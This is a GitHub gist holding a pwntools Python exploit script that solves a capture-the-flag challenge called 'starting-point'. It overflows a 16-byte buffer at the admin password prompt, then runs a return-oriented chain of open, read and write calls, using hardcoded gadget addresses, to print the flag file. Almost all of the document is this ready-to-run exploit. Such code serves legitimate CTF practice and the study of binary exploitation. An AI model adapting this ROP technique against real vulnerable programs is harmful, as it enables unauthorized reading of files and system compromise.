Created
August 17, 2025 18:35
-
-
Save lawbyte/622a5336940f5f5ee15322c97be40b95 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| from pwn import * | |
| context.arch = "amd64" | |
| context.log_level = "INFO" | |
| HOST = "starting-point.serv1.cbd2025.cloud" | |
| PORT = 443 | |
| BIN = "./starting-point" | |
| # --- addresses from your GDB dump (non-PIE) --- | |
| WRITE = 0x401120 | |
| READ = 0x401170 | |
| OPEN = 0x4011c0 | |
| EXIT = 0x4011e0 | |
| POP_RDI = 0x401359 | |
| POP_RSI = 0x40135b | |
| POP_RDX = 0x40135d | |
| RET = 0x401366 | |
| NOTES_BASE = 0x404140 | |
| STRUCT_SZ = 164 # per index | |
| TITLE_OFF = 0x00 | |
| CONTENT_OFF= 0x20 | |
| def note_title(idx): return NOTES_BASE + STRUCT_SZ*idx + TITLE_OFF | |
| def note_content(idx):return NOTES_BASE + STRUCT_SZ*idx + CONTENT_OFF | |
| OFFSET = 16 + 8 # buf[16] + saved rbp | |
| def mk_chain(): | |
| # we’ll use: | |
| # - notes[0].title for "/flag" | |
| # - notes[1].content as IO buffer | |
| PATH_STR = note_title(0) | |
| BUF = note_content(1) | |
| rop = b"A"*OFFSET | |
| rop += p64(RET) # stack align | |
| # open("/flag", 0) | |
| rop += p64(POP_RDI) + p64(PATH_STR) | |
| rop += p64(POP_RSI) + p64(0) | |
| rop += p64(OPEN) | |
| # assume first free fd == 3; read(3, BUF, 0x100) | |
| rop += p64(POP_RDI) + p64(3) | |
| rop += p64(POP_RSI) + p64(BUF) | |
| rop += p64(POP_RDX) + p64(0x100) | |
| rop += p64(READ) | |
| # write(1, BUF, 0x100) | |
| rop += p64(POP_RDI) + p64(1) | |
| rop += p64(POP_RSI) + p64(BUF) | |
| rop += p64(POP_RDX) + p64(0x100) | |
| rop += p64(WRITE) | |
| # exit(0) | |
| rop += p64(POP_RDI) + p64(0) | |
| rop += p64(EXIT) | |
| return rop | |
| def plant(io): | |
| # Create note 0 (title="/flag") | |
| io.recvuntil(b"> ") | |
| io.sendline(b"1") | |
| io.recvuntil(b"Title: ") | |
| io.sendline(b"/flag") | |
| io.recvuntil(b"Content: ") | |
| io.sendline(b"x") | |
| io.recvuntil(b"Created") | |
| # Create note 1 (buffer holder) | |
| io.recvuntil(b"> ") | |
| io.sendline(b"1") | |
| io.recvuntil(b"Title: ") | |
| io.sendline(b"buf") | |
| io.recvuntil(b"Content: ") | |
| io.sendline(b"y") | |
| io.recvuntil(b"Created") | |
| def pwn(io): | |
| plant(io) | |
| io.recvuntil(b"> ") | |
| io.sendline(b"4") # Admin | |
| io.recvuntil(b"Password: ") | |
| io.send(mk_chain()) # raw read() sink, no newline needed | |
| data = io.recvall(timeout=5) | |
| out = data.decode(errors="ignore") | |
| print(out) | |
| import re | |
| m = re.search(r"(CBD\{[^}]+}|cbd\{[^}]+})", out) | |
| if m: | |
| log.success(f"FLAG: {m.group(1)}") | |
| else: | |
| log.warning("flag not auto-detected; check dump above") | |
| if __name__ == "__main__": | |
| try: | |
| io = remote(HOST, PORT, ssl=True, sni=HOST) | |
| pwn(io) | |
| io.close() | |
| except Exception as e: | |
| log.warning(f"remote failed ({e}); trying local for sanity)") | |
| elf = context.binary = ELF(BIN) | |
| io = process(BIN) | |
| pwn(io) | |
| io.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment